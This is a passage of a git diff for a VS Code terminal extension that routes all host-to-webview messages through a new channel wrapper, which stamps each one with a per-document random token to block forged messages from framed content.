post({ type: 'iframe:proxyUrl', requestId: msg.requestId, result: { ok: false, reason: 'unreachable', detail: err?.message ?? String(err) }, } satisfies ExtensionMessage), @@ -508,7 +514,7 @@ export function attachRouter( // freshly-mounted webview know what to use. const selected = options?.getSelectedShell?.(); if (selected) { - webview.postMessage({ + post({ type: 'dormouse:selectedShell', shell: selected.shell, args: selected.args, @@ -517,7 +523,7 @@ export function attachRouter( if (!reconnect) { // Fresh instance — no existing PTYs to restore - webview.postMessage({ type: 'pty:list', ptys: [] } satisfies ExtensionMessage); + post({ type: 'pty:list', ptys: [] } satisfies ExtensionMessage); break; } // Snapshot IDs owned before claiming so we can choose the right data source below @@ -567,7 +573,7 @@ export function attachRouter( id, alive: info.alive, exitCode: info.exitCode, })), }; - webview.postMessage(list); + post(list); // Send replay/scrollback data for each reconnectable PTY for (const [id] of reconnectable) { // For already-owned PTYs the replay buffer was consumed on first connect, @@ -578,14 +584,14 @@ export function attachRouter( : ptyManager.getReplayData(id); if (data) { const replay: ExtensionMessage = { type: 'pty:replay', id, data }; - webview.postMessage(replay); + post(replay); } } // Send current alert state for all reconnectable PTYs for (const [id] of reconnectable) { const alertState = alertManager.getState(id); log.info(`[alert-reconnect] ${id}: sending ${alertState.status} (todo=${alertState.todo})`); - webview.postMessage({ + post({ type: 'alert:state', id, status: alertState.status, diff --git a/vscode-ext/src/webview-html.ts b/vscode-ext/src/webview-html.ts index c5d4cea8..b8ac23b7 100644 --- a/vscode-ext/src/webview-html.ts +++ b/vscode-ext/src/webview-html.ts @@ -2,6 +2,7 @@ import * as vscode from 'vscode'; import * as path from 'path'; import * as fs from 'fs'; import { randomBytes } from 'crypto'; +import { HOST_MESSAGE_TOKEN_GLOBAL } from '../../lib/src/lib/vscode-message-token'; function serializeForInlineScript(value: unknown): string { return JSON.stringify(value ?? null) @@ -10,17 +11,27 @@ function serializeForInlineScript(value: unknown): string { .replace(/\u2029/g, '\\u2029'); } +/** + * Build a webview document. Returns the message token minted for it alongside + * the HTML, because the two are only meaningful together — `serveWebview` in + * `webview-messaging.ts` is what pairs them. + */ export function getWebviewHtml( webview: vscode.Webview, mediaPath: string, initialState?: unknown, selectedShell?: { shell?: string; args?: string[] } | null, -): string { +): { html: string; messageToken: string } { const indexPath = path.join(mediaPath, 'index.html'); let html = fs.readFileSync(indexPath, 'utf-8'); const mediaUri = webview.asWebviewUri(vscode.Uri.file(mediaPath)); - const nonce = getNonce(); + const nonce = randomSecret(); + // A separate secret from the nonce above, deliberately: the nonce authorizes + // script execution, this authenticates the sender of every host → webview + // message so framed content can't forge one. See + // lib/src/lib/vscode-message-token.ts. + const messageToken = randomSecret(); html = html.replace(/(href|src)="\.?\/?assets\//g, `$1="${mediaUri}/assets/`); @@ -54,16 +65,17 @@ export function getWebviewHtml( // get a duplicate nonce attribute from the regex above. html = html.replace( '', - ` \n `, + ` \n `, ); - return html; + return { html, messageToken }; } /** - * A CSP nonce is only as good as its unpredictability, so it comes from the - * OS CSPRNG — never `Math.random()`. 24 bytes of base64url is 32 characters. + * One per-document secret: a CSP nonce or a message token. Either is only as + * good as its unpredictability, so both come from the OS CSPRNG — never + * `Math.random()`. 24 bytes of base64url is 32 characters. */ -function getNonce(): string { +function randomSecret(): string { return randomBytes(24).toString('base64url'); } diff --git a/vscode-ext/src/webview-messaging.ts b/vscode-ext/src/webview-messaging.ts new file mode 100644 index 00000000..386b5bf2 --- /dev/null +++ b/vscode-ext/src/webview-messaging.ts @@ -0,0 +1,41 @@ +import * as vscode from 'vscode'; +import { HOST_MESSAGE_TOKEN_FIELD } from '../../lib/src/lib/vscode-message-token'; +import { getWebviewHtml } from './webview-html'; +import type { ExtensionMessage } from './message-types'; + +/** + * The host's handle on a served webview. `serveWebview` returns one of these + * *instead of* the `vscode.Webview`, so `post` is the only send path a caller + * has — the "every send carries the token" rule is a type error to break rather + * than a convention to remember. See `docs/specs/vscode.md` → "Webview message + * authentication" and `lib/src/lib/vscode-message-token.ts` for the trust model. + */ +export interface WebviewChannel { + /** Send to the webview, stamped with the token its document was served with. */ + post(message: ExtensionMessage): Thenable; + onDidReceiveMessage: vscode.Webview['onDidReceiveMessage']; +} + +/** + * Serve a webview its document and return the channel for talking to it. + * + * Minting, injecting, and assigning the HTML happen together here so a token + * can never drift from the document that carries it: re-serving mints a new + * token and yields a new channel, and there is no way to obtain a sender for a + * webview that was never served. + */ +export function serveWebview( + webview: vscode.Webview, + mediaPath: string, + initialState?: unknown, + selectedShell?: { shell?: string; args?: string[] } | null, +): WebviewChannel { + const { html, messageToken } = getWebviewHtml(webview, mediaPath, initialState, selectedShell); + webview.html = html; + + return { + // Spread rather than mutate: callers own the message they passed in. + post: (message) => webview.postMessage({ ...message, [HOST_MESSAGE_TOKEN_FIELD]: messageToken }), + onDidReceiveMessage: webview.onDidReceiveMessage.bind(webview), + }; +} diff --git a/vscode-ext/src/webview-view-provider.ts b/vscode-ext/src/webview-view-provider.ts index 5f434433..ea55019f 100644 --- a/vscode-ext/src/webview-view-provider.ts +++ b/vscode-ext/src/webview-view-provider.ts @@ -1,7 +1,7 @@ import * as vscode from 'vscode'; import * as path from 'path'; import { attachRouter, getAlertStates } from './message-router'; -import { getWebviewHtml } from './webview-html'; +import { serveWebview, type WebviewChannel } from './webview-messaging'; import { getSavedSessionState, saveSessionState, mergeAlertStates } from './session-state'; import type { ExtensionMessage } from './message-types'; import * as ptyManager from './pty-manager'; @@ -11,6 +11,9 @@ import { log } from './log'; export class DormouseViewProvider implements vscode.WebviewViewProvider { private view: vscode.WebviewView | undefined; + // Set once the view has been served a document; until then there is nothing + // to talk to, and `postMessage` reports undelivered like a disposed view. + private channel: WebviewChannel | undefined; private routerDisposable: vscode.Disposable | undefined; private description: string | undefined; private selectedShell: { shell?: string; args?: string[] } | null = null; @@ -18,7 +21,7 @@ export class DormouseViewProvider implements vscode.WebviewViewProvider { constructor(private readonly context: vscode.ExtensionContext) {} postMessage(msg: ExtensionMessage): Thenable { - return this.view?.webview.postMessage(msg) ?? Promise.resolve(false); + return this.channel?.post(msg) ?? Promise.resolve(false); } setDescription(text: string | undefined): void { @@ -68,10 +71,10 @@ export class DormouseViewProvider implements vscode.WebviewViewProvider { } const savedSession = getSavedSessionState(this.context); - view.webview.html = getWebviewHtml(view.webview, mediaPath, savedSession, this.selectedShell); + this.channel = serveWebview(view.webview, mediaPath, savedSession, this.selectedShell); this.routerDisposable?.dispose(); - this.routerDisposable = attachRouter(view.webview, { + this.routerDisposable = attachRouter(this.channel, { reconnect: true, savedSession, onSaveState: (state) => { @@ -92,6 +95,7 @@ export class DormouseViewProvider implements vscode.WebviewViewProvider { log.info('[view] onDidDispose fired — releasing router (PTYs remain alive)'); this.routerDisposable?.dispose(); this.routerDisposable = undefined; + this.channel = undefined; this.view = undefined; }); }